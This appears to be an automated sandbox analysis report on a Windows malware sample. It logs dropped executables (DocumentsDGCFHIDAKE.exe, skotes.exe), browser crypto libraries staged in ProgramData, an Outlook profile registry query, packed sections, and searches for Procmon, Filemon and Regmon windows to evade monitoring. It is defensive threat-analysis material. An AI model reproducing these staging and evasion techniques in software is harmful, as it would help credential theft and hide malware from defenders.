Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2372 --field-trial-handle=2220,i,7239485134690088343,7052541673815001243,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2800 --field-trial-handle=2088,i,2698788590352089467,13579413817608931526,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6860 --field-trial-handle=2088,i,2698788590352089467,13579413817608931526,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7148 --field-trial-handle=2088,i,2698788590352089467,13579413817608931526,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7120 --field-trial-handle=2088,i,2698788590352089467,13579413817608931526,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsDGCFHIDAKE.exe "C:\Users\user\DocumentsDGCFHIDAKE.exe"
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1795072 > 1048576

Source: file.exe

Static PE information: Raw size of nfgxifxz is bigger than: 0x100000 < 0x19c600

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2443928659.000000006C71F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2443928659.000000006C71F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.360000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nfgxifxz:EW;ozyknikw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nfgxifxz:EW;ozyknikw:EW;.taggant:EW;
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Unpacked PE file: 20.2.DocumentsDGCFHIDAKE.exe.c80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ajpijdkd:EW;xqqfwytl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ajpijdkd:EW;xqqfwytl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 22.2.skotes.exe.c10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ajpijdkd:EW;xqqfwytl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ajpijdkd:EW;xqqfwytl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.c10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ajpijdkd:EW;xqqfwytl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ajpijdkd:EW;xqqfwytl:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C54C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C54C410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe	Static PE information: real checksum: 0x1b9c88 should be: 0x1bfce6
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1db3fa should be: 0x1e3103
Source: DocumentsDGCFHIDAKE.exe.0.dr	Static PE information: real checksum: 0x1db3fa should be: 0x1e3103
Source: skotes.exe.20.dr	Static PE information: real checksum: 0x1db3fa should be: 0x1e3103

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: nfgxifxz
Source: file.exe	Static PE information: section name: ozyknikw
Source: file.exe	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: ajpijdkd
Source: random[1].exe.0.dr	Static PE information: section name: xqqfwytl
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsDGCFHIDAKE.exe.0.dr	Static PE information: section name:
Source: DocumentsDGCFHIDAKE.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsDGCFHIDAKE.exe.0.dr	Static PE information: section name:
Source: DocumentsDGCFHIDAKE.exe.0.dr	Static PE information: section name: ajpijdkd
Source: DocumentsDGCFHIDAKE.exe.0.dr	Static PE information: section name: xqqfwytl
Source: DocumentsDGCFHIDAKE.exe.0.dr	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: .idata
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: ajpijdkd
Source: skotes.exe.20.dr	Static PE information: section name: xqqfwytl
Source: skotes.exe.20.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51B536 push ecx; ret		0_2_6C51B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00C2D91C push ecx; ret		23_2_00C2D92F

Source: file.exe	Static PE information: section name: nfgxifxz entropy: 7.953892554588056
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.986704408429599
Source: random[1].exe.0.dr	Static PE information: section name: ajpijdkd entropy: 7.953947404375544
Source: DocumentsDGCFHIDAKE.exe.0.dr	Static PE information: section name: entropy: 7.986704408429599
Source: DocumentsDGCFHIDAKE.exe.0.dr	Static PE information: section name: ajpijdkd entropy: 7.953947404375544
Source: skotes.exe.20.dr	Static PE information: section name: entropy: 7.986704408429599
Source: skotes.exe.20.dr	Static PE information: section name: ajpijdkd entropy: 7.953947404375544

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsDGCFHIDAKE.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsDGCFHIDAKE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsDGCFHIDAKE.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsDGCFHIDAKE.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

